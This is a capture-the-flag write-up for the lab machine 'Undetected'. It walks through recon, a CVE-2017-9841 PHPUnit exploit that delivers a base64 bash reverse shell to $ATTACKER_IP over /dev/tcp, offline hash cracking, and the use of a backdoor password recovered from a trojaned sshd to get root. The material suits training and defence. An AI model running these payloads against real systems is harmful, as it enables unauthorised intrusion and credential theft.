Undetected
Summary
I scanned the target and discovered two virtual hosts serving a jewellery store application (djewelry.htb and store.djewelry.htb). Directory brute-forcing of the store subdomain surfaced an exposed /vendor path whose Apache directory listing revealed an unpatched PHPUnit installation; a single unauthenticated POST to eval-stdin.php (CVE-2017-9841) delivered a reverse shell as the www-data web service account. From that foothold I found a hidden, encoded backup file at /var/backups/info readable by the web service account, decoded it to recover a Unix password hash for the local user steven, and cracked the hash offline with rockyou.txt to pivot to an SSH session as steven (user flag captured).
The privilege escalation route was a pre-planted supply-chain backdoor: the system SSH daemon binary had been silently replaced with a trojaned version containing an XOR-obfuscated hardcoded magic password. Reverse-engineering the binary in Ghidra exposed that secondary authentication branch, allowing direct root login over SSH and full system compromise (root flag captured).
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for root>"
export PASSWORD2="<the-password-you-recovered, for steven1>"Attack path — how the box was taken
Exact commands 3
Full TCP port scan with service version detection and default scripts.
$ nmap -sV -sC -p- --min-rate 5000 $TARGETRegister both vhosts for local DNS resolution.
$ echo "$TARGET djewelry.htb store.djewelry.htb" | sudo tee -a /etc/hostsFuzz for additional virtual host names against the target IP.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.djewelry.htb' -fc 301,302Exact commands 2
Brute-force directories on the store virtual host.
$ gobuster dir -u http://store.djewelry.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40Confirm the eval-stdin.php endpoint is live (expect 200).
$ curl -s -o /dev/null -w '%{http_code}' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpFixRemove development Composer packages from the production web root and disable directory listingCritical
Exact commands 4
Start the reverse-shell listener on my machine (run in background).
$ nc -lvnp 4444Generate base64-encoded reverse shell payload; replace $ATTACKER_IP with your tun0 IP and copy the output as PAYLOAD.
$ echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0POST the exploit payload; replace PAYLOAD with the base64 string from the previous step.
$ curl -s -X POST 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' --data '<?php system(base64_decode("PAYLOAD")); ?>'Confirm code execution context and locate the user flag path.
$ id; pwd; find / -name user.txt 2>/dev/null
uid=33(www-data) gid=33(www-data) groups=33(www-data)Exact commands 3
Enumerate all files owned by www-data to surface unexpected artefacts.
$ find / -user www-data 2>/dev/null | grep -v '/proc\|/sys\|/run'Decode the double-encoded file (base64 then hex) to recover the password hash.
$ cat /var/backups/info | base64 -d | xxd -r -pSave the decoded hash to a temporary file for transfer to my machine.
$ cat /var/backups/info | base64 -d | xxd -r -p > /tmp/steven_hash.txtFixRemove credential material from web-service-account-readable locations and enforce strict file permissionsHigh
Exact commands 2
Crack the sha-512crypt ($6$) hash; change -m to 500 if the hash is MD5-crypt ($1$).
$ hashcat -m 1800 steven_hash.txt /usr/share/wordlists/rockyou.txt --forceAuthenticate as steven1 with the cracked password and read the user flag (returns <user.txt>).
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null steven1@$TARGET 'id; cat ~/user.txt'
uid=1000(steven) gid=1000(steven) groups=1000(steven)Exact commands 4
Exfiltrate the sshd binary to my machine for static analysis.
$ sshpass -p "$PASSWORD2" scp -o StrictHostKeyChecking=no steven1@$TARGET:/usr/sbin/sshd ./sshd_trojanCompare against the expected hash from a clean Ubuntu 20.04 openssh-server package to confirm modification.
$ sha256sum sshd_trojanQuick triage: look for suspicious embedded strings, non-standard constants, or recognisable fragments of the XOR key.
$ strings sshd_trojan | grep -E '.{20,}' | head -60Locate the XOR decode loop and adjacent comparison; load in Ghidra for full decompilation to trace the XOR key and recover the decoded magic password.
$ objdump -d sshd_trojan | grep -B2 -A40 'xor\|strcmp\|strncmp' | head -120FixReplace the trojaned SSH daemon, rotate all credentials, and deploy file integrity monitoringCritical
Exact commands 1
Authenticate as root using the backdoor magic password extracted from the trojaned sshd; returns uid=0(root) and <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 root@$TARGET 'id; cat /root/root.txt'
uid=0(root) gid=0(root) groups=0(root)Exposed services
| 22/tcp | ssh OpenSSH 8.2 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |